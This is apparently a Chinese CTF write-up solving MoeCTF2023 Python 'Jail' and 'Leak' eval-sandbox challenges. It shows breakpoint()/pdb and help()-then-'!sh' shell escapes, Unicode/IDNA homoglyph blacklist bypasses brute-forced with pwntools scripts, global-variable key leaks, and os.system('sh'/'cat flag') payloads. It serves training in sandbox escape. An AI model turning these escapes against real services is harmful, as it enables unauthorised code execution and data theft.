Jail Level 0
小C给MoeCTF制作了一个Jail类别的挑战,不过考虑到很多同学对于Jail这类题目并不是很熟悉的前提下.小C采取了一种很友好的交互方式告诉各位如何进行相关的操作
当各位玩家连接后 可以看到一个类似于菜单的东西.输入g(G)会获得挑战的源码,输入e(E)会进入挑战,输入c(C)会得到挑战的描述[题目里的会更加详细],输入q(Q)会退出
小tips:如果你不熟悉python,不妨可以先看看 3.11.5 Documentation 和 Python3 教程 | 菜鸟教程
根据Bypass Python sandboxes提示,直接找到eval getshell代码即可
Jail Level 1
题目代码:
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
关键的在于len(user_input_data)>12 限制了长度为12。
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
breakpoint()
__import__('os').system('ls')
Jail Level 2
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
关键的在于len(user_input_data)>6限制了长度为6。
help 函数
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助
然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash
Jail Level 3
import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))
经过测试发现使用unicode编码可以绕过breakpoint()黑名单,例如:breakpºint()
from pwn import *
def start(ss):
p = remote('localhost',52238)
msg = p.recv()
# print(msg)
p.sendline(b'e')
print(p.recv())
p.sendline(ss)
p.interactive()
s='breakpoint()'
#需要绕过的字符串
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("--") in res:
continue
# print("U:{} A:{} ascii:{} ".format(tmp, res, i))
if res in s and len(res)>0:
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
start(s.replace(res,tmp))
# break
except:
pass
Jail Level 4
__import__('os').system('ls')
__import__('os').system('cat flag')
print WELCOMEprint "Welcome to the MoeCTF2023 Jail challenge.This is a repeater and it repeats what you say!"
print "python verison:2.7"
while True: user_input_data = input("> ")
print user_input_data
Leak Level 0
DESCRIPTION: 欢迎来到m0eLeak 你需要用你的所学来泄露一些特殊的东西 从而进行rce或者其他的操作 这里是level0 非常简单
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("""| Options:
| [V]uln
| [B]ackdoor""")
def func_filter(s):
not_allowed = set('vvvveeee')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>9):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_valid_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
设置了两个功能,一个是漏洞利用,可以使用python下面函数查看环境变量,找到真正的key,再利用backdoor来getshell。
global ()和locals ()函数
使用global ()可以获取Python中的全局变量;
Leak Level 1
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
def func_filter(s):
not_allowed = set('moe_dbt')
return any(c in not_allowed for c in s)
print("""| Options:
| [V]uln
| [B]ackdoor""")
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
在上一题基础上增加了长度为6的限制,另外过滤moe_dbt,不过此处可以用unicode绕过。
HNCTF题解
我们的payload长度被限制到了6,我们看来又只能用help()函数了。但是我们在操作的时候,发现!sh不能进到shell里面。向Crazyman确认了一下,他说这道题的socat做了手脚,因此无法用前面的方法来RCE。不过我们至少方向是对的,第一步肯定是进到help()中。然后,我看了下help的第一句话:
Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit".To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam".
所以重点在Enter the name of any module, keyword, or topic上。我们之前输入os得到os模块的帮助,那么我们如果输入__main__的话,是不是得到当前模块的帮助?答案是肯定的:我们输入__main__之后,就返回了当前模块的信息,包括全局变量:
我的exp
from pwn import *
def start(ss):
p = remote('localhost',58290)
msg = p.recv()
# print(msg)
p.sendline(b'e')
print(p.recv())
p.sendline(b'v')
print(p.recv())
p.sendline(ss)
# p.sendline(b'v')
print(p.recv())
# print(p.recv())
# p.sendline(b"__import__('os').system('cat flag')")
p.interactive()
#需要绕过的字符串
payload='help()'
blacklist='e'
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("--") in res:
continue
# print("U:{} A:{} ascii:{} ".format(tmp, res, i))
if res in blacklist:
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
start(payload.replace(res,tmp))
# break
except:
pass
得到help后输入__main__获取key成功,随后切换到backdoor getshell即可
__import__('os').system('sh')
Leak Level 2
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("""| Options:
| [V]uln
| [B]ackdoor""")
def func_filter(s):
not_allowed = set('dbtaaaaaaaaa!')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
print("you need to ")
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
if not code.isascii():
print("please use ascii only thanks!")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor> ")
print(eval(code))
else:
print("You should select valid choice!")
和上一题的区别在于增加了下面一行,不允许使用unicode编码绕过了,但是貌似没有过滤help(),可以直接使用help(),然后__main__查看全局变量。
if not code.isascii():
print("please use ascii only thanks!")
exit(0)